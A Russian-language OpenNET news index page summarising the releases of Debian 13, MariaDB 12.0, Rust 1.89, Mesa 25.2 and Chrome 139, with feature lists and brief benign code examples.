The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·09.08.2025 Релиз Debian 13 (41 +10)
  После двух лет разработки состоялся релиз Debian 13 "Trixie", доступный для восьми официально поддерживаемых архитектур: Intel IA-32/x86 (i686), AMD64/x86-64, ARM EABI (armel), ARM64, ARMv7 (armhf), RISC-V, PowerPC 64 (ppc64el) и IBM System z (s390x). Обновления для Debian 13 будут выпускаться в течение 5 лет.

Для загрузки доступны установочные образы, загрузить которые можно по HTTP, jigdo или BitTorrent. Для архитектуры amd64 разработаны LiveUSB, доступные в вариантах с GNOME, KDE, LXDE, Xfce, Cinnamon и MATE, а также многоархитектурный DVD, сочетающий пакеты для платформы amd64 с дополнительными пакетами для архитектуры i386. Перед процедурой миграции с Debian 12 следует ознакомиться со следующим документом.

В репозитории представлено 69830 бинарных пакетов, что на 5411 пакетов больше, чем было предложено в Debian 12. По сравнению с Debian 12 добавлено 14116 новых бинарных пакетов, удалено 8844 (12%) устаревших или заброшенных пакетов, обновлено 44326 (63%) пакетов. Общий суммарных размер всех предложенных в дистрибутиве исходных текстов составляет 1 463 291 186 строк кода. Суммарный размер всех пакетов - 403 GB.

Для 96.9% пакетов обеспечена поддержка воспроизводимых сборок, позволяющих подтвердить, что исполняемый файл собран именно из заявленных исходных текстов и не содержит посторонних изменений, подстановка которых, например, может быть совершена путём атаки на сборочную инфраструктуру или закладки в компиляторе.

Ключевые изменения в Debian 13.0:

  • Добавлен официальный порт дистрибутива для систем на базе 64-разрядной архитектуры RISC-V.
  • Добавлен порт "loong64" для систем на базе архитектуры набора команд LoongArch, применяемой в процессорах Loongson 3 5000 и реализующей RISC ISA, похожий на MIPS и RISC-V. Порт не включён в число официально поддерживаемых.
  • Удалены порты "mipsel" и "mips64el" для систем на базе архитектуры MIPS. Порт "mipsel" был одним из старейших поддерживаемых портов Debian, старше которого только порт для процессоров i386. Причиной удаления стали технические проблемы, такие как ограничение размера памяти в пространстве пользователя в 2Gb и наличие проблем со сборкой.
  • Прекращено формирования официальных установочных сборок и пакетов с ядром для 32-разрядных систем x86, но сохранено наличие официально поддерживаемого репозитория пакетов и multi-arch-репозитория, возможности развёртывания 32-разрядных окружений в изолированных контейнерах и инструментария для обеспечения сборки 32-разрядных приложений. Архитектура i386 в Debian теперь ограничивается поддержкой запуска 32-разрядных приложений в 64-разрядном окружении x86_64 (при сборке используются инструкции SSE2, которые недоступны в большинстве 32-разрядных процессоров, поддерживавшихся в Debian 12).
  • Полностью решена проблема 2038 года. Все пакеты переведены на использование 64-разрядного типа time_t в портах дистрибутива для 32-разрядных архитектур, в которых продолжал использоваться 32-разрядный тип time_t (не может применяться для обработки времени позднее 19 января 2038 года из-за переполнения счётчика секунд, прошедших после 1 января 1970 года).
  • В инсталляторе изменена логика управления разделами EFI, и добавлен режим восстановления систем, установленных в подраздел Btrfs. Исключены прошивки, которые не требуются при установке, не могут работать без несвободных пакетов или бесполезны при текущих настройках ядра. Прекращена поддержка grub-legacy и win32-loader. Возобновлена поддержка использования не-ASCII символов в полном имени пользователя. Добавлена поддержка плат и устройств: Pine64 Pinebook, MNT Reform 2, AM64x HummingBoard-T, Pine64 Star64, Wandboard rev D1, а также ноутбуков и планшетов на базе ARM SoC Snapdragon X Elite.
  • В инсталлятор и Live-сборки добавлен режим удалённой загрузки "HTTP Boot", при котором загрузочные образы доставляются при помощи протокола HTTP (URL iso-образа вводится в интерфейсе прошивки UEFI или U-Boot).
  • Для хранения каталога со временными файлами /tmp задействована файловая система tmpfs, использующая размещаемый в оперативной памяти RAM-диск, который может быть вытеснен в раздел подкачки при нехватке свободной памяти. Применение tmpfs позволяет сократить число операций записи на физический накопитель, снизить энергопотребление жёстких дисков, продлить жизнь SSD-накопителей, увеличить производительность работы с временными файлами. Для возвращения хранения /tmp в обычной ФС можно использовать команду "systemctl mask tmp.mount".
  • Исключены команды last, lastb и lastlog, которые были завязаны на файлы /var/log/wtmp, /var/log/btmp, /var/run/utmp и /var/log/lastlog, использующие 32-разрядный тип time_t, который невозможно заменить на 64-разрядный без изменения ABI Glibc и нарушения совместимости с приложениями. Вместо данных утилит рекомендовано использовать утилиты wtmpdb, lastlog2 и lslogins.
  • Для определения и монтирования шифрованных ФС задействован пакет systemd-cryptsetup.
  • На системах с архитектурой AMD64 и ARM64 задействованы расширения Intel CET (Control-flow Enforcement Technology), ARM PAC (Pointer Authentication) и BTI (Branch Target Identification) для защиты от эксплоитов, использующих методы возвратно-ориентированного программирования (ROP - Return-Oriented Programming). При использовании техники ROP атакующий не пытается разместить свой код в памяти, а оперирует уже имеющимися в загруженных библиотеках кусками машинных инструкций, завершающихся инструкцией возврата управления (как правило, это окончания библиотечных функций). Работа эксплоита сводится к построению цепочки вызовов подобных блоков ("гаджетов") для получения нужной функциональности. Суть защиты в том, что после передачи управления функции, адреса возврата сохраняются процессором не только в обычном стеке, но и в отдельном теневом стеке, который не может быть изменён напрямую.
  • Добавлена поддержка утилиты run0, поставляемой в systemd для выполнения процессов под идентификаторами других пользователей. Утилита реализована в форме надстройки над командой systemd-run и преподносится как более безопасная замена программы sudo.
  • Задействована ветка пакетного менеджера APT 3.0, в которой переработан интерфейс пользователя, активирован движок разрешения зависимостей Solver3, добавлена поддержка снапшотов, прекращено использования утилиты apt-key, добавлен крипто-бэкенд для библиотеки OpenSSL и реализована команда 'dist-clean'.
  • Добавлена команда debian-repro-status для проверки состояния воспроизводимой сборки для установленных в текущей системе пакетов.
  • Завершена миграция дистрибутива с использования отдельного раздела /usr на представление, при котором каталоги /bin, /sbin и /lib* оформлены как символические ссылки на соответствующие каталоги внутри /usr.
  • Ядро Linux обновлено до версии 6.12. Задействованы новые выпуски systemd 257, bash 5.2.37, Glibc 2.41, OpenSSL 3.5.
  • В состав вошли выпуски сред рабочего стола GNOME 48, KDE Plasma 6.3, LXDE 13, LXQt 2.1.0 и Xfce 4.20. Обновлён графический стек.
  • Обновлены пользовательские приложения, например, LibreOffice 25.2. GIMP 3.0.2, Inkscape 1.4, Vim 9.1.
  • Обновлены серверные приложения, например, BIND 9.20, Postfix 3.10, Exim 4.98, PostgreSQL 17, MariaDB 11.8, nginx 1.26, OpenJDK 21, OpenSSH 10.0, Samba 4.22, QEMU 10.0, Docker 26.1.5, Xen 4.20.
  • Обновлены средства разработки, например, GCC 14.2, LLVM/Clang 19, Perl 5.40, PHP 8.4, Python 3.13, Rust 1.85, Go 1.24.
Обсуждение (41 +10) | Тип: Программы | Интересно
·08.08.2025 Доступна СУБД MariaDB 12.0 (30 +12)
  Опубликован выпуск СУБД MariaDB 12.0.2, который отмечен как первый стабильный релиз ветки 12.0. Ветка MariaDB 12.0 отнесена к промежуточным выпускам (rolling), продолжает постепенное развитие функциональности и пришла на смену ветке MariaDB 11.8. Одновременно опубликован выпуск MariaDB 12.1.1, имеющий статус кандидата в релизы. Ветка MariaDB 12.0 будет сопровождаться до формирования выпуска 12.1.2.

Проектом MariaDB развивается ответвление от MySQL, сохраняющее обратную совместимость и отличающееся интеграцией дополнительных движков хранения и расширенных возможностей. Развитие MariaDB курирует независимая организация MariaDB Foundation в соответствии с открытым и прозрачным процессом разработки, не зависящим от отдельных производителей. MariaDB поставляется вместо MySQL во многих дистрибутивах Linux (RHEL, SUSE, Fedora, openSUSE, Slackware, OpenMandriva, ROSA, Arch Linux, Debian) и внедрён в таких крупных проектах, как Wikipedia, Google Cloud SQL и Nimbuzz.

Среди изменений в ветке MariaDB 12.0:

  • Добавлена поддержка SSL-ключей, защищённых паролем. Пароль для разблокирования SSL-сертификатов может быть задан через переменную ssl_passphrase или вручную при запуске сервера.
  • Добавлено выражение "SET SESSION AUTHORIZATION" для выполнения действия под другим пользователем при выставлении соответствующих привилегий (выражение можно рассматривать как аналог "sudo" для СУБД).
  • В плагин file_key_management.so добавлена поддержка хэшей SHA-2.
  • Добавлена поддержка слабых курсорных переменных (weak cursor variable) предопределенного типа SYS_REFCURSOR, позволяющих возвращать курсор из хранимых процедур (в параметре OUT) или из функций (в выражении RETURN). Для ограничения максимального числа одновременно открытых курсоров добавлена системная переменная "max_open_cursors".
  • В тип TO_CHAR добавлена поддержка формата FM (Fill Mode) для исключения добавочного заполнения. Например, запрос "SELECT CONCAT('/', TO_CHAR('2020-01-06 10:11:12', 'FMDAY'), '/');" вернёт "/Monday/" вместо "/Monday /".
  • В утилиту mariadb-check и выражение CHECK TABLE добавлена поддержка таблиц от движка SEQUENCE.
  • В оптимизатор добавлена поддержка опций (hint), влияющих на построения плана оптимизаций: QB_NAME, NO_RANGE_OPTIMIZATION, NO_ICP, MRR, NO_MRR, BKA, NO_BKA, BNL, NO_BNL, SEMIJOIN, SUBQUERY, JOIN_FIXED_ORDER, JOIN_ORDER, JOIN_PREFIX, JOIN_SUFFIX и MAX_EXECUTION_TIME. Опции подставляются в запрос в формате, совместимом с MySQL, например:
    
       SELECT /*+ BKA(t1) NO_BKA(t2) */ * FROM t1 INNER JOIN t2 WHERE ...;
       SELECT /*+ MAX_EXECUTION_TIME(1000) */ * FROM t1 INNER JOIN t2 WHERE ...;
    
  • Добавлена поддержка новых функций GIS (Geographic Information System): ST_Validate, MBRCoveredBy, ST_Simplif, ST_GeoHash, ST_LatFromGeoHash, ST_LongFromGeoHash, ST_PointFromGeoHash, ST_IsValid, ST_Collect.
  • Добавлена поддержка триггеров, срабатывающих для нескольких событий. В выражении CREATE TRIGGER теперь можно перечислять подпадающие под него события, используя синтаксис "{ event [ OR ... ] }".
  • В плагине Audit реализовано сохранение в логе аудита информации о сетевых портах для входящих соединений (ранее отражался только хост).
  • В утилиту mariadb добавлена опция "--script-dir" для задания альтернативного каталога поиска скриптов, запускаемых командой SOURCE.
  • Удалены переменные big_tables, large_page_size и storage_engine, ранее объявленные устаревшими.

  1. OpenNews: Выпуск СУБД MySQL 9.4.0
  2. OpenNews: Компания MariaDB представила прокси-сервер MaxScale 2.0
  3. OpenNews: MariaDB существенно меняет график выпусков
  4. OpenNews: Представлена новая значительная ветка СУБД MariaDB 11
  5. OpenNews: Опубликована новая LTS-ветка СУБД MariaDB 11.8
Обсуждение (30 +12) | Тип: Программы |
·08.08.2025 Выпуск Rust 1.89. Около 8% src-пакетов в Debian Sid завязаны на Rust (203 –6)
  Опубликован релиз языка программирования Rust 1.89, основанного проектом Mozilla, но ныне развиваемого под покровительством независимой некоммерческой организации Rust Foundation. Язык сфокусирован на безопасной работе с памятью и предоставляет средства для достижения высокого параллелизма выполнения заданий, при этом обходясь без использования сборщика мусора и runtime (runtime сводится к базовой инициализации и сопровождению стандартной библиотеки).

Методы работы с памятью в Rust избавляют разработчика от ошибок при манипулировании указателями и защищают от проблем, возникающих из-за низкоуровневой работы с памятью, таких как обращение к области памяти после её освобождения, разыменование нулевых указателей, выход за границы буфера и т.п. Для распространения библиотек, обеспечения сборки и управления зависимостями проектом развивается пакетный менеджер Cargo. Для размещения библиотек поддерживается репозиторий crates.io.

Безопасная работа с памятью обеспечивается в Rust во время компиляции через проверку ссылок, отслеживание владения объектами, учёт времени жизни объектов (области видимости) и оценку корректности доступа к памяти во время выполнения кода. Rust также предоставляет средства для защиты от целочисленных переполнений, требует обязательной инициализации значений переменных перед использованием, лучше обрабатывает ошибки в стандартной библиотеке, применяет концепцию неизменяемости (immutable) ссылок и переменных по умолчанию, предлагает сильную статическую типизацию для минимизации логических ошибок.

Основные новшества:

  • Предоставлена возможность использования символа "_" в качестве аргумента обобщённых параметров с признаком "const" для выведения значений этих параметров на основе окружающего контекста.
    
       pub fn all_false<const LEN: usize>() -> [bool; LEN] {
         [false; _]
       }
    
  • Добавлено новое lint-предупреждение "mismatched_lifetime_syntaxes" для решение проблемы неочевидного определения времени жизни в сигнатурах функций при использовании механизма "lifetime elision" (автоматически определяет время жизни ссылок, позволяя обойтись без его ручного указания). Предупреждение выполняет проверку того, что входные и выходные параметры функции принадлежат к одной и той же группе типов. Группы формируются на основе поддержки явного задания времени жизни и возможности автоматического вывода времени жизни компилятором (например, в типах "&'a T" и "ContainsLifetime<'a>" может явно присутствовать время жизни, но компилятор не может автоматически определить время жизни, в а типах "&T", "&'_ T" и "ContainsLifetime<'_>" допускается как явное задание, так и автоматическое определение).
  • В атрибуте "target_feature" для систем x86 реализована возможность проверки поддержки расширенных наборов инструкций sha512, sm3, sm4, kl и widekl, а также отдельных функций avx512.
    
       #[target_feature(enable = "avx512bw")]
       pub fn cool_simd_code(/* .. */) -> /* ... */ {
           /* ... */
       }
    
  • Обеспечен запуск doctest (тесты, встроенные в документацию) не только для текущей целевой платформы, но и для других платформ, указанных при запуске пакетного менеджера "cargo" ("cargo test --doc --target other_target").
  • Для функций 'extern "C"' при сборке для целевой платформы "wasm32-unknown-unknown" реализован стандартный C ABI для WebAssembly.
  • С некоторыми оговорками, касающимися совместимости типов, разрешено использование типов i128 и u128 во внешних Си-функциях (extern "C"), для которых ранее показывалось lint-предупреждение "improper_ctypes_definitions".
  • В разряд стабильных переведена новая порция API, в том числе стабилизированы методы и реализации типажей:

    Признак "const" применён в функциях:

  • Начался процесс перевода целевой платформы "x86_64-apple-darwin" с первого уровня поддержки на второй (Apple планирует прекратить поддержку архитектуры x86_64). Первый уровень поддержки подразумевает формирование бинарных сборок, проведение досконального тестирования и предоставление наивысшей гарантии поддержки платформы - каждое изменение в компиляторе проверяется выполнением полного тестового набора. Второй уровень поддержки подразумевает гарантию сборки, но отсутствие гарантий при прохождении тестового набора.
  • Реализован третий уровень поддержки платформ "loongarch32-unknown-none" и "loongarch32-unknown-none-softfloat". Третий уровень подразумевает базовую поддержку, но без автоматизированного тестирования, публикации официальных сборок и проверки возможности сборки кода.



Дополнительно можно отметить связанные с Rust события и проекты:

  • Опубликован отчёт о состоянии пакетов на языке Rust в Debian. Отмечается, что в ветке Debian Unstable (Sid) около 8% src-пакетов в репозитории main связаны сборочными зависимостями как минимум с одним пакетом "librust-*". В Debian 12 подобных пакетов было 4.5%. Также отмечено, что более 3 тысяч пакетов включают код на языке Rust, вынесенный в пакеты librust-..-dev, а 150 src-пакетов поставляют скомпилированные исполняемые файлы или библиотеки Rust.

    Из представляющих интерес для Debian пакетов упомянуты sudo-rs, ntpd-rs, uutils, Sequoia, rpgp, hickory (DNS), Rustls, rav1d и fish. Опциональная поддержка Rust реализована в APT, QEMU (virtiofsd), ядре Linux и Mesa, а также ожидается в LibreOffice. Для преобразования crate-пакетов в src-пакеты Debian реализован инструментарий debcargo.

  • Представлен проект tmux-rs, развивающий клон мультиплексора терминала tmux (консольный оконный менеджер), переписанный с Си на Rust.
  • Разработчик драйвера Tyr из компании Сollabora, опубликовал статью об устройстве работающих на уровне ядра драйверов для GPU и принципах разработки таких драйверов на языке Rust.
  • Продемонстрировано универсальное приложение на языке Rust, способное выполняться как на CPU, так и на различных платформах GPU: CUDA для NVIDIA, SPIR-V для GPU с поддержкой Vulkan, Metal для Apple, DirectX 12 для Windows, WebGPU для браузеров.

  1. OpenNews: Компания Vivo открыла код ядра BlueOS, написанного на языке Rust
  2. OpenNews: Представлен Tyr, Linux-драйвер для GPU ARM Mali, написанный на Rust
  3. OpenNews: Выпуск Rust 1.88. Операционная система Munal и утилита rsched на Rust
  4. OpenNews: GCC-бэкенд достиг возможности полной раскрутки компилятора rustc. Выпуск Rust Coreutils 0.1.0
  5. OpenNews: Для FreeBSD развивают опциональную поддержку компонентов базовой системы на Rust
Обсуждение (203 –6) | Тип: Программы |
·07.08.2025 Релиз Mesa 25.2, свободной реализации OpenGL и Vulkan (66 +29)
  После трёх месяцев разработки представлен релиз свободной реализации API OpenGL и Vulkan - Mesa 25.2.0. Первый выпуск ветки Mesa 25.2.0 имеет экспериментальный статус - после проведения окончательной стабилизации кода будет выпущена стабильная версия 25.2.1.

В Mesa 25.2 доступна поддержка графического API Vulkan 1.4 в драйверах ANV для GPU Intel, RADV для GPU AMD, NVK для GPU NVIDIA, Asahi для GPU Apple, Turnip для GPU Qualcomm, PanVK для GPU ARM Mali, в программном растеризаторе lavapipe (lvp) и в режиме эмулятора (vn). В драйверах v3dv (GPU Broadcom VideoCore для Raspberry Pi 4+) и dzn (реализация Vulkan поверх Direct3D 12) поддерживается Vulkan 1.0.

В Mesa также обеспечивается полная поддержка OpenGL 4.6 для драйверов iris (GPU Intel Gen 8+), radeonsi (AMD), Crocus (старые GPU Intel Gen4-Gen7), AMD (r600), zink, llvmpipe, virgl (виртуальный GPU Virgil3D для QEMU/KVM), freedreno (Qualcomm Adreno), d3d12 (прослойка для организации работы OpenGL поверх DirectX 12) и asahi (GPU AGX, используемый в чипах Apple M1 и M2). Поддержка OpenGL 4.5 доступна для GPU NVIDIA (nvc0). Поддержка OpenGL 3.3 присутствует в драйверах softpipe (программный растеризатор) и nv50 (NVIDIA NV50). В драйверах panfrost (GPU ARM Mali) и v3d (GPU Broadcom VideoCore) поддерживается OpenGL 3.1.

Основные новшества:

  • В Vulkan-драйвер PanVK для устройств с GPU ARM Mali на базе архитектуры V10, таких как Mali-G610 и Mali-G310, добавлена поддержка графического API Vulkan 1.4 (ранее поддерживался Vulkan 1.2).
  • В OpenGL-драйвер r600 для старых GPU AMD (до серии Radeon HD 7000 включительно) добавлена поддержка графического API OpenGL 4.6 (ранее поддерживался OpenGL 4.5).
  • В Vulkan-драйвер NVK добавлена поддержка GPU NVIDIA на базе микроархитектур Blackwell и Kepler (GTX 600/700). Для GPU Blackwell реализована поддержка Vulkan 1.4, а для GPU Kepler - API Vulkan 1.2 (более новые версии Vulkan не поддерживаются из-за аппаратных ограничений). Для GPU NVIDIA на базе микроархитектуры Maxwell обеспечена полная совместимость с Vulkan 1.4.
  • Оптимизирована работа компилятора шейдеров NAK, написанного на языке Rust и применяемого в драйвере NVK. В число зависимостей к драйверу NVK включён crate-пакет rustc-hash, благодаря которому удалось сократить время компиляции шейдеров примерно на 12%.
  • Поддержка OpenGL для GPU NVIDIA Maxwell, Pascal и Volta переключена по умолчанию с драйвера Nouveau на использование драйвера Zink в связке с Vulkan-драйвером NVK. Zink также задействован для обеспечения поддержки OpenGL на системах с GPU Blackwell (в OpenGL-драйвер Nouveau добавлять поддержку GPU Blackwell не планируют). Zink предоставляет реализацию OpenGL 4.6 поверх Vulkan, позволяющую получить аппаратно ускоренный OpenGL на устройствах, поддерживающих API Vulkan. Производительность Zink близка к производительности родных реализаций OpenGL.
  • Значительно повышена производительность Vulkan-драйвера Honeykrisp для графических процессоров, поставляемых в чипах Apple M1/M2.
  • В Vulkan-драйверы RADV (GPU AMD) и ANV (Intel) добавлена поддержка аппаратного ускорения декодирования видео в формате VP9. Возможность реализована при помощи Vulkan-расширения VK_KHR_video_decode_vp9, весной подготовленного рабочей группой Vulkan WG. Аппаратное ускорение доступно для GPU AMD начиная с GPU Navi 10 на базе микроархитектуры RDNA 1.0.
  • В Vulkan-драйвере RADV для GPU AMD на базе микроархитектур RDNA3 и RDNA4 повышена производительность трассировки лучей и улучшена поддержка технологии суперсэмплинга FSR 4 (FidelityFX Super Resolution). Добавлена возможность настройки приоритетов для очереди потока команд (OpenCL-расширение cl_khr_priority_hints).
  • В OpenGL-драйвере radeonsi для старых семейств GPU AMD Evergreen и Cayman реализована поддержка OpenGL 4.6. Добавлена поддержка разделяемой виртуальной памяти (SVM, Shared Virtual Memory).
  • В OpenGL-драйвере Iris и Vulkan-драйвере ANV реализована поддержка GPU, применяемых в процессорах Intel Wildcat Lake. В Iris и ANV также объявлена стабильной поддержка GPU Intel на базе архитектуры Xe3, задействованной в процессорах Panther Lake. Улучшена поддержка семейств GPU Xe2 и Xe3. В драйвер Iris добавлена поддержка разделяемой виртуальной памяти (SVM, Shared Virtual Memory).
  • В OpenGL-драйвер freedreno добавлена поддержка GPU Adreno X1-45, применяемом в SoC Qualcomm Snapdragon X Plus.
  • Продолжено развитие OpenCL-драйвера Rusticl, написанного на языке Rust и пришедшего на смену драйверу Clover. В Rusticl добавлена поддержка SVM (Shared Virtual Memory), изображений в цветовом пространстве sRGB (форматы CL_sRGBA и CL_sBGRA), формата FP16 (OpenCL-расширение cl_khr_fp16 для драйверов asahi, freedreno, llvmpipe, panfrost, radeonsi и zink).
  • Добавлен Gallium3D-фронтэнд MFT (Media Foundation Transform), позволяющий использовать драйвер D3D12 (Direct3D 12) для реализации других графических API. Разработан Microsoft для WSL (Windows Subsystem for Linux).
  • Удалена поддержка инфраструктуры DRI2 (Direct Rendering Infrastructure), на смену которой для организации прямого доступа к видеоадаптеру пришёл интерфейс DRI3, использующий DMA-BUF. В качестве причины упоминается, что интерфейс DRI3 существует уже более 10 лет, DRI2 давно устарел, а все поддерживаемые драйверы GPU давно реализовали интерфейс DRI3.
  • Прекращена поддержка устаревших методов совместной работы с буферами - оставлена только возможность использования dma-buf.
  • Прекращена поддержка версий libX11, не обеспечивающих безопасную работу в многопоточных приложениях. Оставлена только поддержка libX11 1.8 (апрель 2022 года) и более новых выпусков, использующих вызов XInitThreads().
  • Объявлена устаревшей и отключена по умолчанию поддержка EGL-расширения EGL_WL_bind_wayland_display, реализованного для Wayland. Для обмена пиксельными буферами между клиентом и сервером Wayland предлагается использовать Wayland-протокол linux_dmabuf. Для возвращения поддержки требуется указание флага "-Dlegacy-wayland=bind-wayland-display" во время сборки. Xwayland поддерживает корректную работу без EGL_WL_bind_wayland_display начиная с выпуска 24.1 (май 2024 года).
  • Удалён устаревший OpenCL-драйвер Clover. Для OpenCL следует использовать драйвер RustiCL, более функциональный и поддерживающий больше версий OpenCL.
  • В драйвере ANV (Intel) реализовано Vulkan-расширение:
  • В драйвере RADV (AMD) реализованы Vulkan-расширения:
  • В драйвере NVK (NVIDIA) реализованы Vulkan-расширения:
  • В драйвере zink реализовано Vulkan-расширение:
  • В драйвере v3d (GPU Broadcom VideoCore для Raspberry Pi 4+) реализовано OpenGL-расширение:
  • В драйвере panfrost реализованы OpenGL-расширения:
  • В драйвере asahi (Apple) реализовано OpenGL-расширение:
  • В драйвере r600 (AMD) реализованы OpenGL-расширения
  • В драйвере PanVK (GPU ARM Mali) реализованы Vulkan-расширения:
    • VK_EXT_vertex_input_dynamic_state/vertexInputDynamicState
    • VK_EXT_vertex_input_dynamic_state
    • VK_EXT_vertex_attribute_divisor
    • VK_KHR_maintenance4
    • VK_KHR_maintenance5
    • VK_EXT_direct_mode_display
    • VK_EXT_extended_dynamic_state
    • VK_KHR_shader_quad_control
    • VK_KHR_draw_indirect_count
    • VK_KHR_shader_integer_dot_product
    • VK_KHR_shader_terminate_invocation
    • VK_EXT_shader_demote_to_helper_invocation
    • VK_EXT_shader_replicated_composites
    • VK_EXT_depth_bias_control
    • VK_EXT_primitive_topology_list_restart
    • VK_EXT_image_2d_view_of_3d
    • VK_EXT_texel_buffer_alignment
    • VK_EXT_shader_subgroup_ballot
    • VK_EXT_shader_subgroup_vote
    • VK_KHR_load_store_op_none
    • VK_EXT_load_store_op_none
    • VK_EXT_inline_uniform_block
    • VK_EXT_texture_compression_astc_hdr
    • VK_EXT_depth_clamp_zero_one
    • VK_KHR_depth_clamp_zero_one
    • VK_EXT_depth_clip_control
    • VK_KHR_unified_image_layouts
    • VK_KHR_vulkan_memory_model
    • VK_EXT_descriptor_indexing
    • VK_KHR_maintenance6
    • VK_KHR_shader_clock
    • VK_KHR_shader_atomic_int64
    • VK_KHR_calibrated_timestamps
    • VK_EXT_non_seamless_cube_map
    • VK_ARM_shader_core_properties
    • VK_KHR_host_image_copy

  1. OpenNews: Релиз Mesa 25.1, свободной реализации OpenGL и Vulkan
  2. OpenNews: Проект Mesa заменил OpenGL-драйвер Nouveau на Zink для новых GPU NVIDIA
  3. OpenNews: В Mesa принят amdgpu_virtio для использования OpenGL и Vulkan в гостевых системах
  4. OpenNews: В Mesa-драйвере NVK обеспечена поддержка Vulkan 1.4 для GPU NVIDIA Maxwell, Pascal и Volta
  5. OpenNews: Из Mesa удалена поддержка DRI2
Обсуждение (66 +29) | Тип: Программы |
·06.08.2025 Выпуск web-браузера Chrome 139 (119 –5)
  Компания Google опубликовала релиз web-браузера Chrome 139. Одновременно доступен стабильный выпуск свободного проекта Chromium, выступающего основой Chrome. Браузер Chrome отличается от Chromium использованием логотипов Google, наличием системы отправки уведомлений в случае краха, модулями для воспроизведения защищённого от копирования видеоконтента (DRM), системой автоматической установки обновлений, постоянным включением Sandbox-изоляции, поставкой ключей к Google API и передачей RLZ-параметров при поиске. Для тех, кому необходимо больше времени на обновление, отдельно поддерживается ветка Extended Stable, сопровождаемая 8 недель. Следующий выпуск Chrome 140 запланирован на 2 сентября.

Основные изменения в Chrome 139:

  • Добавлена возможность использования AI-модели для формирования поисковых рекомендаций в адресной строке и на странице открытия новой вкладки. Для показа подобных AI-рекомендаций в адресную строку добавлена кнопка "AI Mode", а в списке рекомендаций вывод от AI помечен или выделен в отдельную секцию. Возможность пока активирована по умолчанию только для части пользователей.
  • В централизованно управляемых системах расширена возможность создания собственных ярлыков быстрого поиска через адресную строку (можно создать ярлык "@имя" для поиска на определённом сайте). В новой версии добавлена дополнительная настройка, позволяющая разрешить переопределение, удаление или отключение пользователем ярлыков, заданных администратором.
  • В версии для Android в режимах стандартной и расширенной защиты Google Safe Browsing реализована проверка безопасности загружаемых APK-пакетов. Проверка осуществляется через обращение к серверам Google. В случае, если файл признан опасным пользователю выводится соответствующее предупреждение, а доступ к файлу блокируется (в интерфейсе предусмотрена отдельная возможность доступа в обход блокировки).
  • Удалена настройка ExtensionManifestV2Availability, позволявшая вернуть поддержку второй версии манифеста Chrome, определяющего возможности и ресурсы, доступные для дополнений, написанных с использованием API WebExtensions. Для возвращения поддержки второй версии манифеста ещё остаётся возможность запуска исполняемого файла chrome с флагами "--disable-features=ExtensionManifestV2Unsupported,ExtensionManifestV2Disabled".
  • В официальных стабильных сборках Chrome прекращена поддержка опций командной строки "--extensions-on-chrome-urls" и "--disable-extensions-except", позволявших отключить блокировку установки рискованных дополнений, например, подставляемых в браузер без спроса пользователя. В Chromium и тестовых сборках Chrome поддержка указанных опций сохранена.
  • На странице открытия новой вкладки реализована нижняя панель, на которой показывается информация о дополнениях, влияющих на содержимое страницы новой вкладки, а также сведения о применяемых политиках централизованного управления.
  • Добавлена защита от случайного удаления сохранённых паролей при выборе операции полной очистки данных. При наличии сохранённых паролей браузер теперь направляет пользователя на страницу менеджера паролей, на которой можно осмысленно и по-отдельности удалить пароли и ключи passkey.
  • Отключена возможность автоматического отката на использование для WebGL системы программной отрисовки SwiftShader, программно реализующей API Vulkan. В случае отсутствия должного бэкенда на базе GPU создание контекста WebGL теперь будет возвращать ошибку, а не переключаться на SwiftShader. Прекращение использования SwiftShader позволит повысить безопасность, благодаря исключению выполнения сгенерированного JIT-компилятором кода в процессе, отвечающем за взаимодействие с GPU. На платформах Linux и macOS системы без GPU больше не смогут использовать WebGL. В Windows поддержка SwiftShader оставлена только для устройств без GPU или с проблемными GPU, добавленными в чёрный список.
  • Во встроенном хранилище корневых сертификатов (Chrome Root Store) прекращено доверие к удостоверяющим центрам Chunghwa Telecom и Netlock из-за нарушений требований к удостоверяющим центрам. В связи с отсутствием действий по устранению выявленных недостатков, TLS-сертификаты, выданные Chunghwa Telecom и Netlock после 31 июля 2025 года, теперь воспринимаются в Chrome как не заслуживающие доверия. Сертификаты, выпущенные до 31 июля, продолжают восприниматься как нормальные.
  • В API Web Speech добавлена поддержка распознавания речи, используя локально доступные на устройстве движки. Сайт может запросить наличие движков распознавания для необходимого языка, выбрать между локальными и облачными сервисами, запросить установку необходимых ресурсов для локального распознавания и убедиться, что распознавание будет выполнено на устройстве пользователя без отправки данных во внешние сервисы.
  • В CSS, помимо задания радиуса скругления при помощи свойства border-radius, реализовано свойство "corner-shape" для управления формой и кривизной углов прямоугольных элементов. Например, при помощи "corner-shape" можно делать плавные переходы от квадрата к кругу (squircle), вогнутые углы (scoop), срезать фаску (bevel) и делать вырезы (notch), а также анимировать изменение формы углов.
  • Добавлена поддержка спецификации Custom Functions, позволяющей создавать собственные функции для CSS, действующие по аналогии с собственными параметризованными CSS-свойствами. Отличие сводится к тому, что CSS-свойства могут вернуть только одно фиксированное значение, а CSS-функции могут возвращать значения на основе других собственных CSS-свойств, параметров и условий. Для определения CSS-функций добавлено правило "@function".
    
       @function --negative(--value) {
         result: calc(-1 * var(--value));
       }
    
       @function --shadow(--shadow-color <color> : inherit) {
         result: 2px 2px var(--shadow-color, black);
       }
    
  • Добавлено CSS-свойство "caret-animation", позволяющее управлять анимацией изменения курсора в полях ввода (например, мигание курсора можно заменить на собственную анимацию).
  • С целью соблюдения спецификации и улучшения совместимости с другими браузерами добавлено CSS-свойство "font-width", аналогичное ранее доступному свойству "font-stretch".
  • При блокировке Service Worker-а из-за срабатывания правил CSP (Content Security Policy) теперь в асинхронном режиме отправляется событие "error", вместо генерации исключения SecurityError сразу после вызова конструктора "new Worker(url)" или "new SharedWorker(url)".
  • Предоставлена возможность создания единого web-приложения, работающего с несколькими доменами верхнего уровня или разными поддоменами. Для настройки привязки к доменам в манифесте предусмотрено поле "scope_extensions".
    
       {
         "name": "Example",
         "display": "standalone",
         "start_url": "/index.html",
         "scope_extensions": [
           { "origin": "https://*.example.com" },
           { "origin": "https://example.co.uk" },
           { "origin": "https://*.example.co.uk" }
      ]
    }
    
  • Реализовано определение всех корректных MIME-типов для данных JSON, отмеченных в спецификации WHATWG MIME Sniffing. В дополнение к традиционным MIME-типам "application/json" и "text/json" добавлена поддержка составных MIME-типов, таких как "text/html+json" и "image/svg+json".
  • В API Invoker Commands добавлена команда "request-close" для принудительного закрытия диалога на базе HTML-элемента <dialog>, действие которой аналогично вызову JavaScript-метода requestClose().
